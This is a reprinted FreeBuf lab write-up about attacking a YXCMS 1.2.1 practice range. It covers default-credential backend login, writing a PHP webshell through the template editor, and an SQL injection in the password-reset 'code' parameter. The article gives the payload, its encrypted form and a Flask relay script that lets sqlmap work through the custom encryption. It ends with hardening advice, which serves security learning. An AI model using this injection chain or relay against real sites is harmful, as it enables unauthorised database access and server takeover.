NEWS.ALL
Ruizhao's News Reader

渗透测试靶场初体验

FreeBuf /2020-04-09

声明

本文仅供学习和研究,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,海青实验室及文章作者不承担任何责任。

安全狗海青实验室拥有此文章的修改和解释权,如欲转载或传播,必须保证此文的完整性,包括版权声明在内的全部内容,未经海青实验室同意,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

近日得到了红日安全团队制作的一套渗透测试靶场,由于笔者对内网和域渗透并不熟悉,正好借此来学习一下渗透测试的基本操作和流程。有意思的是,笔者在前台发现了一个SQL注入,并且使用了一个小trick,所以分享一下。

一、Web服务器的突破

整个网络服务起来以后,扫描了一下目标IP,查看了开放了哪些端口。

显然存在WEB应用,访问看看。(注:我没用扫描器,讲道理实战应该是没有yxcms这个目录的,我是看了一下靶机的文件结构)

当得知了是YXCMS的系统,那么剩下的就是收集该系统存在的已知漏洞,那问题是,版本号还不知道。在github上搜了一下这套系统的源码,查看了一下目录结构,发现有一个升级日志.txt。根据之前审计代码的经验,多数的CMS会有一个README和类似升级日志这样的文件,记录一下当前版本的一些信息。

试试访问看,果然有——这样就拿到了版本号,那接着就是找yxcms1.2.1版本的漏洞。

搜索后会发现有这么一个网站,预留的后台账户……我感觉这个靶场应该没有修改过这个密码,就拿这个弱密码去尝试了。

ok,成功进入后台,在后台可以看到编辑模板的地方,竟然还可以直接创建PHP文件,但是创建完的文件路径需要寻找,一时间我没找到,我是下载了源码在本地测试发现路径如下:

WWW\yxcms\protected\apps\default\view\default\a.php

可怜的kali只有一把C刀,感觉要找把好用的菜刀。

二、以代码审计的方式突破

显然,上述攻破WEB服务器的方式太过于走运:恰好就那么一个预留账号,还是默认密码,这种方式不具有普遍意义。既然我们已经能拿到对应版本的源码了,总该尝试一下以审计的方式,找出漏洞点拿下服务器。因为对该系统的框架不是很熟悉,笔者只了解到是个MVC架构,屋漏偏逢连夜雨,Xdebug在此时又出问题了,无法动态调试,于是就进行静态分析,不断打印输出exit。

目标:找到一个不需要验证的、或者普通用户权限的注入点,拿下管理员账号。

很快,在Index控制器下可以发现如下代码。其中变量code是可控,并且解密后赋值给变量$acc,再之后传入了find方法之中,为了构造出完整的POC进行注入,需要找到最终构造SQL语句的代码。

find方法定义在model.php文件,显然第一个参数是条件语句。那么如上以拼接的方式构造SQL语句,显然很有可能出现SQL注入的问题。

在cpModel.class.php中找到了find方法和select方法的定义,最终的查询条件是在select方法中构造,因此将构造好Where条件打印出来看看。

接着就是跟进query方法,在此构造完整的查询语句,并且执行,在此次打印出查询语句。

这样其实就已经抓住了SQL语句构造的关键点了,再回头看最初的一行代码:

$acc=cp_decode(urldecode($_GET[‘code’]),config(‘ENCODE_KEY’));

显然,cp_decode是一个自定义的解密函数,代码如下

有解密自然就有加密。

思路很明显了,构造好SQL注入的payload,调用加密函数进行加密,然后传入,试试看。

payload:11' or '1'='1

加密后:

7e2bRaLd9061hM95hQB2apg0gw7kbOQcWLDFQWU9aPnWWi9%252FRgJFYj0eIYHmUiJ9JlQ

效果如下:解密之后拼接进SQL语句,显然,此处存在注入。

三、使用几行代码复活SQLmap

此时又面临了一个问题,如何自动化进行注入呢?作为一个脚本小子,自然想到使用SQLmap,可是有着自定义的加密函数,难不成要手撸一个python版的加密?然后再写SQLmap的tamper?太繁琐了!渗透神器在此竟然无用武之地?

其实,只需用几行代码就能复活神器!

在本地搭建一个flask平台接受SQLmap传递来的payload,然后去访问写有加密函数的PHP文件获取加密后的payload,最终再往目标网站上发包!

画了个大概的流程图:

flask平台代码如下:

from flask import Flask

from flask import request

import requests

php_url = "http://127.0.0.1/encode.php?payload={}" #加密函数文件

tar_url = "http://yxcmsapp/index.php?r=member/index/getpassword&code={}" #目标网站

app = Flask(__name__)

@app.route('/',methods=['GET'])

def getStr():

    payload = request.args.get('payload') # 接受SQLmap的payload

    print("payload is .........: {}".format(payload))

    print("Encoding ....")

    en_str = php_url.format(payload)

    rs = requests.get(en_str)# 将payload发送至加密函数文件进行加密

    print("Encoding payload......: {}".format(rs.text))

    print("attack!")

    attack_rs = requests.get(tar_url.format(rs.text)) #将加密后的payload发往目标站点

    return attack_rs.text

if __name__ == '__main__':

    app.run()

除去一些输出语句,总共就没几行代码。

加密函数文件内容直接复制过来,如下:

因为源程序中解码时调用了一次urldecode,所以要两次encode。

最后,使用SQLmap对flask平台进行SQL注入,效果如下。

最终,可以通过注入拿下管理员的账号,剩下的getshell的操作就和之前一样了。

值得一提的是,这套系统定义了一个in函数,用来防止SQL注入。可能开发者发现加密后的函数并不存在特殊字符就没用进行in函数的转义了吧,从而导致注入的产生。

上述的方法在很多场景下都可以使用,比如利用了JS对前端的一些参数加密后传输、表单收到Token保护等。如果不想分析原有的加密算法,就可以采用这种中转的方式进行攻击。拿了shell之后不知道该如何继续了,初体验就暂时到此结束。

已经WEB服务的大门已被攻破,在内网的操作这里就不作展开了。

四、总结

靶场其实是实际案例的一种映射,很多运维人员在建立企业网站时采用的就是此类的开源系统。的确,一键式的部署能够快速建站极其便利,但同时也带来了安全风险,譬如默认的管理员账号密码、系统版本信息、固定的网站目录等一些信息也随之暴露给攻击者。

因此、在广大用户选用开源系统快速建站的同时要注意选用安全性较高、积极维护的开源系统。关注该系统的历史版本是否存在漏洞,以及是否及时修补。有条件或者必要的情况下,可以对该系统进行一次代码审计排查隐患,也可以选择网站安全狗等系列WAF产品来抵御攻击。

*本文作者:安全狗safedog,转载请注明来自FreeBuf.COM